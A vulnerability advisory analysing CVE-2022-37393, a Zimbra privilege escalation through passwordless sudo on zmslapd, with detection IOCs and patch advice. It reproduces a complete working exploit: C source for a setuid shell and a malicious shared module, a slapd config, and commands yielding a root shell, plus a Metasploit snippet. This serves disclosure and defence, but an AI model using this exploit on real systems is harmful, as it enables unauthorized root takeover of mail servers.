Description
On October 27, 2021, Darren Martyn posted an exploit for a privilege escalation vulnerability in Zimbra Collaboration Suite. Due to Zimbra’s disclosure policy, which forbids publishing exploit code, he opted not to report it to them.
If successfully exploited, a user with a shell account as the zimbra user (say, by exploiting CVE-2022-30333) can use CVE-2022-37393 to escalate to root privileges. As of this writing, all current versions of Zimbra are affected, including 9.0.0 P25 and 8.8.15 P32.
While this issue requires a local account on the Zimbra host, there have been three remote code execution vulnerabilities in Zimbra lately: CVE-2022-30333 (unrar), CVE-2022-27924 (memcached injection), and CVE-2022-27925 (arbitrary file upload as the admin user). Additionally, Zimbra is quite popular (as of this writing, there are approximately 62,000 Internet-facing hosts from a quick Shodan query).
We ran across Darren Martyn’s blog post and exploit over the course of researching a separate Zimbra issue (CVE-2022-30333), verified the privilege escalation works, and decided it was worth reporting. We reported it to Zimbra on July 21, 2022, and created CVE-2022-37393 to track it. We also published a Metasploit module to help test the issue.
We are not aware of active exploitation of CVE-2022-37393 at this time, but it could be very difficult to detect successful exploitation because it grants root access.
Technical analysis
We analyzed this vulnerability based on our research, combined with Darren Martyn’s blog post, which outlines the attack in detail.
The core of the issue is that the Zimbra user account has passwordless sudo access to a bunch of different executables:
zimbra@zimbra:~$ sudo -l
Matching Defaults entries for zimbra on zimbra:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, !requiretty
User zimbra may run the following commands on zimbra:
(root) NOPASSWD: /opt/zimbra/libexec/zmstat-fd *
(root) NOPASSWD: /opt/zimbra/libexec/zmslapd
(root) NOPASSWD: /opt/zimbra/common/sbin/postfix
(root) NOPASSWD: /opt/zimbra/common/sbin/postalias
(root) NOPASSWD: /opt/zimbra/common/sbin/qshape.pl
(root) NOPASSWD: /opt/zimbra/common/sbin/postconf
(root) NOPASSWD: /opt/zimbra/common/sbin/postsuper
(root) NOPASSWD: /opt/zimbra/common/sbin/postcat
(root) NOPASSWD: /opt/zimbra/libexec/zmqstat
(root) NOPASSWD: /opt/zimbra/libexec/zmmtastatus
(root) NOPASSWD: /opt/zimbra/common/sbin/amavis-mc
(root) NOPASSWD: /opt/zimbra/common/sbin/nginx
(root) NOPASSWD: /opt/zimbra/libexec/zmmailboxdmgrCVE-2022-37393 specifically affects zmslapd, which is a shell script that
essentially runs slapd with a custom environment:
zimbra@zimbra:~$ cat /opt/zimbra/libexec/zmslapd
#!/bin/bash
[...]
ulimit -n 32768
ulimit -c unlimited
ulimit -v unlimited
export LD_PRELOAD=/opt/zimbra/common/lib/libtcmalloc_minimal.so
exec /opt/zimbra/common/libexec/slapd "$@"slapd is a standalone LDAP daemon, which can run as an arbitrary user and group:
zimbra@zimbra:~$ man slapd
[...]
-u user
slapd will run slapd with the specified user name or id, and that user's supplementary group access list as set with initgroups(3). The group ID is also changed to this user's gid, unless the -g
option is used to override. Note when used with -r, slapd will use the user database in the change root environment.
Note that on some systems, running as a non-privileged user will prevent passwd back-ends from accessing the encrypted passwords. Note also that any shell back-ends will run as the specified non-
privileged user.
-g group
slapd will run with the specified group name or id. Note when used with -r, slapd will use the group database in the change root environment.And can accept a configuration file:
-f slapd-config-file
Specifies the slapd configuration file. The default is /opt/zimbra/common/etc/openldap/slapd.conf.Which can contain plugins:
zimbra@zimbra:~$ cat /opt/zimbra/common/etc/openldap/slapd.conf
[...]
# Load dynamic backend modules:
# modulepath /opt/zimbra/common/libexec/openldap
# moduleload back_mdb.la
# moduleload back_ldap.laDarren demonstrated a very simple C program that spawns a shell (rootslap.c):
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}And a shared module that will setuid that shell so it runs as root (libhax.c):
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/slapper/rootslap", 0, 0);
chmod("/tmp/slapper/rootslap", 04755);
printf("[+] done!\n");
}And a configuration file for slapd (slapd.conf):
modulepath /tmp/slapper
moduleload libhax.soYou can automate all this with his published proof of concept, but to run it directly (note that we simplified some of their compilation commands):
zimbra@zimbra:/tmp$ gcc -shared -o /tmp/slapper/libhax.so ./libhax.c
[...]
zimbra@zimbra:/tmp$ gcc -o /tmp/slapper/rootslap ./rootslap.c
[...]
zimbra@zimbra:/tmp$ sudo /opt/zimbra/libexec/zmslapd -u root -g root -f ./slapd.conf
[+] done!
zimbra@zimbra:/tmp$ ls -l slapper/rootslap
-rwsr-xr-x 1 root root 8480 Jul 21 22:18 slapper/rootslap
zimbra@zimbra:/tmp$ slapper/rootslap
# whoami
rootWe essentially implemented the same attack in Metasploit, except that we use a built-in payload:
config = "modulepath #{exploit_dir}\nmoduleload #{library_name}\n"
write_file(config_path, config)
write_file(library_path, generate_payload_dll)
cmd = "sudo #{datastore['ZIMBRA_BASE']}/libexec/zmslapd -u root -g root -f #{config_path}"
print_status "Attempting to trigger payload: #{cmd}"
cmd_exec(cmd)IOCs
Because Zimbra is installed on a standard Linux system, specific detection will depend on exactly how that host is configured. However, on the Ubuntu 18.04 machine that we used for testing, /var/log/auth.log reveals the attack very plainly:
ron@zimbra:/var/log$ cat auth.log | grep 'sudo.*slapd'
[...]
Jul 19 16:06:44 zimbra sudo: zimbra : TTY=unknown ; PWD=/tmp/slapper ; USER=root ; COMMAND=/opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/slapper/slapd.conf
Jul 19 20:30:59 zimbra sudo: zimbra : TTY=unknown ; PWD=/opt/zimbra ; USER=root ; COMMAND=/opt/zimbra/libexec/zmslapd -l LOCAL0 -u zimbra -h ldap://zimbra.example.org:389 ldapi:/// -F /opt/zimbra/data/ldap/config
Jul 21 19:44:30 zimbra sudo: zimbra : TTY=unknown ; PWD=/opt/zimbra/log ; USER=root ; COMMAND=/opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.A3VaIcB/.psEGEYqz
Jul 21 19:44:48 zimbra sudo: zimbra : TTY=unknown ; PWD=/opt/zimbra/log ; USER=root ; COMMAND=/opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.caYdb4i/.rxxxpPws0
Jul 21 19:45:01 zimbra sudo: zimbra : TTY=unknown ; PWD=/opt/zimbra/log ; USER=root ; COMMAND=/opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.SbiD7D94BJ/.lVQpf
[...]Guidance
Customers should patch all Zimbra installations as quickly as possible to prevent other vulnerabilities from being exploited.



